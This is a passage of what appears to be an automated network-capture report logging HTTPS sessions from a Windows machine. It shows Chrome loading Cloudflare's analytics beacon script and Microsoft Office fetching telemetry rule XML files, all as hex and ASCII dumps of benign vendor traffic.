2024-10-16 15:56:48 UTC	451	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 2d 52 65 70 6f 72 74 2d 4f 6e 6c 79 3a 20 73 63 72 69 70 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 72 65 70 6f 72 74 2d 75 72 69 20 68 74 74 70 73 3a 2f 2f 63 73 70 2d 72 65 70 6f 72 74 69 6e 67 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 63 64 6e 2d 63 67 69 2f 73 63 72 69 70 74 5f 6d 6f 6e 69 74 6f 72 2f 72 65 70 6f 72 74 3f 6d 3d 2e 6a 31 74 75 6c 4f 5a 38 56 30 39 6c 64 6f 67 53 70 73 68 75 30 76 58 4c 6e 46 63 37 42 6b 2e 37 68 6f 4f 37 4e 44 6b 75 56 6f 2d 31 37 32 39 30 39 34 32 30 38 2d 31 2e 30 2e 31 2e 31 2d 79 31 72 65 55 72 63 43 5f 4a 66 63 74 6c 4c 78 64 39 4a 53 49 66 36 6c 66 58 4e 54 4f 42 74 7a 69 73 59 53 6e 30 46 5a 66 51 6f 73 37 67 57 45 39 6f 4c 36 6f 61 6c 6e Data Ascii: Content-Security-Policy-Report-Only: script-src 'none'; report-uri https://csp-reporting.cloudflare.com/cdn-cgi/script_monitor/report?m=.j1tulOZ8V09ldogSpshu0vXLnFc7Bk.7hoO7NDkuVo-1729094208-1.0.1.1-y1reUrcC_JfctlLxd9JSIf6lfXNTOBtzisYSn0FZfQos7gWE9oL6oaln
2024-10-16 15:56:48 UTC	1089	IN	Data Raw: 52 49 46 46 b6 08 00 00 57 45 42 50 56 50 38 4c aa 08 00 00 2f 99 82 15 10 19 45 6d db 40 ca 3b e3 8f f8 1e 82 88 fe 4f 80 3c 36 b1 09 c4 86 4c da 26 fe 6d af d7 14 08 04 92 11 f2 a7 1b 65 10 fa 2f 24 48 b0 39 45 8e 59 a1 1f 18 05 25 49 92 e3 48 92 1b 7a 99 ff bf 62 8e f3 bc 7d 18 22 45 00 64 82 11 0e f6 8d 61 db b6 61 e8 b5 ff 5f 5c 4c 90 23 49 52 24 79 2e 0b b4 07 cf d3 5f 1e c6 70 50 5b 5b d0 5c 1b 18 81 06 fb 23 cc 04 5b 13 5c 02 a4 81 34 c1 04 2e 02 11 88 60 04 48 90 e4 c6 6d 24 e7 8e 52 0b 70 b1 5c 40 b9 de 62 11 04 e1 f7 ee 6f ec 13 fd 7f c3 92 90 e0 0c 08 3e cf 40 1e f8 c9 4f 70 3f 30 d0 5f b7 02 77 8a b3 66 70 30 d4 46 7c c7 2a 66 07 e0 8f 5e d6 3f bd 16 65 df 14 ed cd 51 1e d4 66 b1 c3 c8 d8 ce df fc 54 f1 7c 3d fd d9 db 2d 85 6d d6 07 8c 15 31 Data Ascii: RIFFWEBPVP8L/Em@;O<6L&me/$H9EY%IHzb}"Edaa_\L#IR$y._pP[[\#[\4.`Hm$Rp\@bo>@Op?0_wfp0F\|*f^?eQfT\|=-m1
2024-10-16 15:56:48 UTC	1149	IN	Data Raw: d6 88 0e 7c 5a 02 42 60 f8 36 8a 40 56 ee 1b 96 5f 50 bb e7 00 fe fb 20 f0 b4 31 10 02 ab 6a 00 6c 55 7e 5d 84 1f b0 dd 07 3d 82 31 30 b8 d3 7e 8e 1e b0 27 bf e5 f4 a8 e2 2a d4 7e 56 24 68 b0 e6 ee 4e 6f 55 8b 72 ff 05 c8 ef 73 d1 07 72 ef ea 45 93 3c 73 a9 01 21 f0 4e fa 20 3b f1 3f 00 d7 ec 95 bd 31 38 d0 01 c8 2f be af 80 fa 55 22 02 82 e0 fa 23 67 09 8c 55 f0 aa 3c a8 d1 f0 81 df ab 03 63 27 1f b8 13 be 65 ee 5b f2 a0 36 56 21 20 00 83 1f 0f 04 86 f7 0b 81 c7 97 44 62 d4 fd ed 6f 17 28 f3 2c 1d ca eb 1f 81 0e fc da c9 ef 83 10 03 36 4a fd 6a d6 29 08 01 bb f2 eb b3 02 05 e0 13 23 28 e6 17 c0 a7 36 41 08 18 fc 0e 89 5d 85 6f 2a 55 a5 33 77 d6 41 a7 cb bf 28 06 00 08 76 b9 9f 20 98 b1 85 0a 6c cb 00 bc 38 f9 05 e3 d1 70 3e 27 8a 2c 89 64 5e 08 29 b8 ff Data Ascii: \|ZB`6@V_P 1jlU~]=10~'~V$hNoUrsrE<s!N ;?18/U"#gU<c'e[6V! Dbo(,6Jj)#(6A]oU3wA(v l8p>',d^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.5	49839	104.16.80.73	443	2436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:48 UTC	624	OUT	GET /beacon.min.js/vcd15cbe7772f49c399c6a5babf22c1241717689176015 HTTP/1.1 Host: static.cloudflareinsights.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.cloudflare.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-16 15:56:48 UTC	373	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:48 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 19948 Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=86400 ETag: W/"2024.6.1" Last-Modified: Thu, 06 Jun 2024 15:52:56 GMT Cross-Origin-Resource-Policy: cross-origin Server: cloudflare CF-RAY: 8d393db45fe2d1aa-MCI
2024-10-16 15:56:48 UTC	996	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 33 34 33 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 6e 3d 30 3b 6e 3c 32 35 36 3b 2b 2b 6e 29 74 5b 6e 5d 3d 28 6e 2b 32 35 36 29 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 2e 73 75 62 73 74 72 28 31 29 3b 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 76 61 72 20 72 3d 6e 7c 7c 30 2c 69 3d 74 3b 72 65 74 75 72 6e 5b 69 5b 65 5b 72 2b 2b 5d 5d 2c 69 5b 65 5b 72 2b 2b 5d 5d 2c 69 5b 65 5b 72 2b 2b 5d 5d 2c 69 5b 65 5b 72 2b 2b 5d 5d 2c 22 2d 22 2c 69 5b 65 5b 72 2b 2b 5d 5d 2c 69 5b 65 5b 72 2b 2b 5d 5d 2c 22 2d 22 2c 69 5b 65 5b 72 2b 2b 5d 5d 2c 69 5b 65 5b 72 2b 2b 5d 5d 2c 22 2d 22 2c 69 5b 65 5b 72 2b Data Ascii: !function(){var e={343:function(e){"use strict";for(var t=[],n=0;n<256;++n)t[n]=(n+256).toString(16).substr(1);e.exports=function(e,n){var r=n\|\|0,i=t;return[i[e[r++]],i[e[r++]],i[e[r++]],i[e[r++]],"-",i[e[r++]],i[e[r++]],"-",i[e[r++]],i[e[r++]],"-",i[e[r+
2024-10-16 15:56:48 UTC	1369	IN	Data Raw: 3b 69 66 28 61 5b 36 5d 3d 31 35 26 61 5b 36 5d 7c 36 34 2c 61 5b 38 5d 3d 36 33 26 61 5b 38 5d 7c 31 32 38 2c 74 29 66 6f 72 28 76 61 72 20 63 3d 30 3b 63 3c 31 36 3b 2b 2b 63 29 74 5b 6f 2b 63 5d 3d 61 5b 63 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 69 28 61 29 7d 7d 2c 31 36 38 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 3d 74 68 69 73 26 26 74 68 69 73 2e 5f 5f 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 3d 31 2c 72 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 Data Ascii: ;if(a[6]=15&a[6]\|64,a[8]=63&a[8]\|128,t)for(var c=0;c<16;++c)t[o+c]=a[c];return t\|\|i(a)}},168:function(e,t,n){"use strict";var r=this&&this.__assign\|\|function(){return r=Object.assign\|\|function(e){for(var t,n=1,r=arguments.length;n<r;n++)for(var i in t=arg
2024-10-16 15:56:48 UTC	1369	IN	Data Raw: 72 63 68 50 61 72 61 6d 73 29 7b 76 61 72 20 79 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 28 67 2e 72 65 70 6c 61 63 65 28 2f 5e 5b 5e 5c 3f 5d 2b 5c 3f 3f 2f 2c 22 22 29 29 2c 68 3d 79 2e 67 65 74 28 22 74 6f 6b 65 6e 22 29 3b 68 26 26 28 70 2e 74 6f 6b 65 6e 3d 68 29 3b 76 61 72 20 54 3d 79 2e 67 65 74 28 22 73 70 61 22 29 3b 70 2e 73 70 61 3d 6e 75 6c 6c 3d 3d 3d 54 7c 7c 22 74 72 75 65 22 3d 3d 3d 54 7d 7d 70 26 26 22 6d 75 6c 74 69 22 21 3d 3d 70 2e 6c 6f 61 64 26 26 28 70 2e 6c 6f 61 64 3d 22 73 69 6e 67 6c 65 22 29 2c 77 69 6e 64 6f 77 2e 5f 5f 63 66 42 65 61 63 6f 6e 3d 70 7d 69 66 28 73 26 26 70 26 26 70 2e 74 6f 6b 65 6e 29 7b 76 61 72 20 77 2c 53 2c 62 3d 21 31 3b 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 Data Ascii: rchParams){var y=new URLSearchParams(g.replace(/^[^\?]+\??/,"")),h=y.get("token");h&&(p.token=h);var T=y.get("spa");p.spa=null===T\|\|"true"===T}}p&&"multi"!==p.load&&(p.load="single"),window.__cfBeacon=p}if(s&&p&&p.token){var w,S,b=!1;document.addEventList
2024-10-16 15:56:48 UTC	1369	IN	Data Raw: 2e 74 69 6d 69 6e 67 73 56 32 3d 7b 7d 2c 64 2e 76 65 72 73 69 6f 6e 73 2e 74 69 6d 69 6e 67 73 3d 32 2c 64 2e 64 74 3d 6d 5b 30 5d 2e 64 65 6c 69 76 65 72 79 54 79 70 65 2c 64 65 6c 65 74 65 20 64 2e 74 69 6d 69 6e 67 73 2c 74 28 6d 5b 30 5d 2c 64 2e 74 69 6d 69 6e 67 73 56 32 29 29 7d 31 3d 3d 3d 64 2e 76 65 72 73 69 6f 6e 73 2e 74 69 6d 69 6e 67 73 26 26 74 28 63 2c 64 2e 74 69 6d 69 6e 67 73 29 2c 74 28 75 2c 64 2e 6d 65 6d 6f 72 79 29 7d 65 6c 73 65 20 4f 28 64 29 3b 72 65 74 75 72 6e 20 64 2e 66 69 72 73 74 50 61 69 6e 74 3d 6b 28 22 66 69 72 73 74 2d 70 61 69 6e 74 22 29 2c 64 2e 66 69 72 73 74 43 6f 6e 74 65 6e 74 66 75 6c 50 61 69 6e 74 3d 6b 28 22 66 69 72 73 74 2d 63 6f 6e 74 65 6e 74 66 75 6c 2d 70 61 69 6e 74 22 29 2c 70 26 26 28 70 2e 69 63 Data Ascii: .timingsV2={},d.versions.timings=2,d.dt=m[0].deliveryType,delete d.timings,t(m[0],d.timingsV2))}1===d.versions.timings&&t(c,d.timings),t(u,d.memory)}else O(d);return d.firstPaint=k("first-paint"),d.firstContentfulPaint=k("first-contentful-paint"),p&&(p.ic
2024-10-16 15:56:48 UTC	1369	IN	Data Raw: 65 72 65 64 3a 21 30 7d 7d 3b 22 63 6f 6d 70 6c 65 74 65 22 3d 3d 3d 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 2e 72 65 61 64 79 53 74 61 74 65 3f 52 28 29 3a 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 73 65 74 54 69 6d 65 6f 75 74 28 52 29 7d 29 29 3b 76 61 72 20 41 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 4c 26 26 30 3d 3d 3d 76 2e 66 69 6c 74 65 72 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 69 64 3d 3d 3d 6c 7d 29 29 2e 6c 65 6e 67 74 68 7d 2c 5f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 2e 70 75 73 68 28 7b 69 64 3a 6c 2c 75 72 6c 3a 65 2c 74 73 3a 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 Data Ascii: ered:!0}};"complete"===window.document.readyState?R():window.addEventListener("load",(function(){window.setTimeout(R)}));var A=function(){return L&&0===v.filter((function(e){return e.id===l})).length},_=function(e){v.push({id:l,url:e,ts:(new Date).getTime
2024-10-16 15:56:48 UTC	1369	IN	Data Raw: 72 63 65 4c 6f 61 64 54 69 6d 65 2c 45 2e 6c 63 70 2e 65 72 64 3d 63 2e 65 6c 65 6d 65 6e 74 52 65 6e 64 65 72 44 65 6c 61 79 2c 45 2e 6c 63 70 2e 69 74 3d 6e 75 6c 6c 3d 3d 3d 28 69 3d 63 2e 6c 63 70 52 65 73 6f 75 72 63 65 45 6e 74 72 79 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 69 3f 76 6f 69 64 20 30 3a 69 2e 69 6e 69 74 69 61 74 6f 72 54 79 70 65 2c 45 2e 6c 63 70 2e 66 70 3d 6e 75 6c 6c 3d 3d 3d 28 61 3d 6e 75 6c 6c 3d 3d 3d 28 6f 3d 63 2e 6c 63 70 45 6e 74 72 79 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 6f 3f 76 6f 69 64 20 30 3a 6f 2e 65 6c 65 6d 65 6e 74 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 61 3f 76 6f 69 64 20 30 3a 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 66 65 74 63 68 70 72 69 6f 72 69 74 79 22 29 29 3b 62 72 65 61 6b 3b 63 61 73 65 22 49 4e 50 22 Data Ascii: rceLoadTime,E.lcp.erd=c.elementRenderDelay,E.lcp.it=null===(i=c.lcpResourceEntry)\|\|void 0===i?void 0:i.initiatorType,E.lcp.fp=null===(a=null===(o=c.lcpEntry)\|\|void 0===o?void 0:o.element)\|\|void 0===a?void 0:a.getAttribute("fetchpriority"));break;case"INP"
2024-10-16 15:56:48 UTC	1369	IN	Data Raw: 64 65 64 42 6f 64 79 53 69 7a 65 26 26 28 72 2e 64 65 63 6f 64 65 64 42 6f 64 79 53 69 7a 65 3d 6e 5b 30 5d 2e 64 65 63 6f 64 65 64 42 6f 64 79 53 69 7a 65 29 2c 65 2e 64 74 3d 6e 5b 30 5d 2e 64 65 6c 69 76 65 72 79 54 79 70 65 29 2c 74 28 72 2c 65 2e 74 69 6d 69 6e 67 73 56 32 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 6b 28 65 29 7b 76 61 72 20 74 3b 69 66 28 22 66 69 72 73 74 2d 63 6f 6e 74 65 6e 74 66 75 6c 2d 70 61 69 6e 74 22 3d 3d 3d 65 26 26 45 2e 66 63 70 26 26 45 2e 66 63 70 2e 76 61 6c 75 65 29 72 65 74 75 72 6e 20 45 2e 66 63 70 2e 76 61 6c 75 65 3b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 73 2e 67 65 74 45 6e 74 72 69 65 73 42 79 54 79 70 65 29 7b 76 61 72 20 6e 3d 6e 75 6c 6c 3d 3d 3d 28 74 3d 73 2e 67 65 74 45 6e 74 72 69 Data Ascii: dedBodySize&&(r.decodedBodySize=n[0].decodedBodySize),e.dt=n[0].deliveryType),t(r,e.timingsV2)}}function k(e){var t;if("first-contentful-paint"===e&&E.fcp&&E.fcp.value)return E.fcp.value;if("function"==typeof s.getEntriesByType){var n=null===(t=s.getEntri
2024-10-16 15:56:48 UTC	1369	IN	Data Raw: 76 65 6e 74 54 79 70 65 3d 7b 7d 29 29 5b 72 2e 4c 6f 61 64 3d 31 5d 3d 22 4c 6f 61 64 22 2c 72 5b 72 2e 41 64 64 69 74 69 6f 6e 61 6c 3d 32 5d 3d 22 41 64 64 69 74 69 6f 6e 61 6c 22 2c 72 5b 72 2e 57 65 62 56 69 74 61 6c 73 56 32 3d 33 5d 3d 22 57 65 62 56 69 74 61 6c 73 56 32 22 2c 28 6e 3d 74 2e 46 65 74 63 68 50 72 69 6f 72 69 74 79 7c 7c 28 74 2e 46 65 74 63 68 50 72 69 6f 72 69 74 79 3d 7b 7d 29 29 2e 48 69 67 68 3d 22 68 69 67 68 22 2c 6e 2e 4c 6f 77 3d 22 6c 6f 77 22 2c 6e 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 2c 31 30 34 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 74 2c 6e 2c 72 2c 69 2c 6f 2c 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 77 Data Ascii: ventType={}))[r.Load=1]="Load",r[r.Additional=2]="Additional",r[r.WebVitalsV2=3]="WebVitalsV2",(n=t.FetchPriority\|\|(t.FetchPriority={})).High="high",n.Low="low",n.Auto="auto"},104:function(e,t){!function(e){"use strict";var t,n,r,i,o,a=function(){return w
2024-10-16 15:56:48 UTC	1369	IN	Data Raw: 30 3f 72 3d 22 70 72 65 72 65 6e 64 65 72 22 3a 64 6f 63 75 6d 65 6e 74 2e 77 61 73 44 69 73 63 61 72 64 65 64 3f 72 3d 22 72 65 73 74 6f 72 65 22 3a 6e 2e 74 79 70 65 26 26 28 72 3d 6e 2e 74 79 70 65 2e 72 65 70 6c 61 63 65 28 2f 5f 2f 67 2c 22 2d 22 29 29 29 2c 7b 6e 61 6d 65 3a 65 2c 76 61 6c 75 65 3a 76 6f 69 64 20 30 3d 3d 3d 74 3f 2d 31 3a 74 2c 72 61 74 69 6e 67 3a 22 67 6f 6f 64 22 2c 64 65 6c 74 61 3a 30 2c 65 6e 74 72 69 65 73 3a 5b 5d 2c 69 64 3a 22 76 33 2d 22 2e 63 6f 6e 63 61 74 28 44 61 74 65 2e 6e 6f 77 28 29 2c 22 2d 22 29 2e 63 6f 6e 63 61 74 28 4d 61 74 68 2e 66 6c 6f 6f 72 28 38 39 39 39 39 39 39 39 39 39 39 39 39 2a 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 29 2b 31 65 31 32 29 2c 6e 61 76 69 67 61 74 69 6f 6e 54 79 70 65 3a 72 7d 7d 2c Data Ascii: 0?r="prerender":document.wasDiscarded?r="restore":n.type&&(r=n.type.replace(/_/g,"-"))),{name:e,value:void 0===t?-1:t,rating:"good",delta:0,entries:[],id:"v3-".concat(Date.now(),"-").concat(Math.floor(8999999999999*Math.random())+1e12),navigationType:r}},
2024-10-16 15:56:48 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 76 69 73 69 62 69 6c 69 74 79 63 68 61 6e 67 65 22 2c 62 2c 21 30 29 2c 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 70 72 65 72 65 6e 64 65 72 69 6e 67 63 68 61 6e 67 65 22 2c 62 2c 21 30 29 7d 2c 43 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 77 3c 30 26 26 28 77 3d 53 28 29 2c 45 28 29 2c 6c 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 73 65 74 54 69 6d 65 6f 75 74 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 77 3d 53 28 29 2c 45 28 29 7d 29 2c 30 29 7d 29 29 29 2c 7b 67 65 74 20 66 69 72 73 74 48 69 64 64 65 6e 54 69 6d 65 28 29 7b 72 65 74 75 72 6e 20 77 7d 7d 7d 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 64 6f 63 75 6d 65 6e 74 2e 70 Data Ascii: function(){removeEventListener("visibilitychange",b,!0),removeEventListener("prerenderingchange",b,!0)},C=function(){return w<0&&(w=S(),E(),l((function(){setTimeout((function(){w=S(),E()}),0)}))),{get firstHiddenTime(){return w}}},P=function(e){document.p

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:48 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:48 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:48 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 20e62c17-a01e-000d-57d8-1ed1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155648Z-16b659b4499stprh7pcpsc0x3n00000009eg00000000mtyf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:48 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.5	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:48 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:48 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:48 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: caae80db-c01e-0034-21d8-1e2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155648Z-r197bdfb6b4h2vct0gzb37213s000000089g000000005e8n x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:48 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:49 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:49 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:49 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: db3d69cc-a01e-0070-02d8-1e573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155649Z-r197bdfb6b4qpk6v9629ad4b5s00000000e0000000001frn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:49 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.5	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:49 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
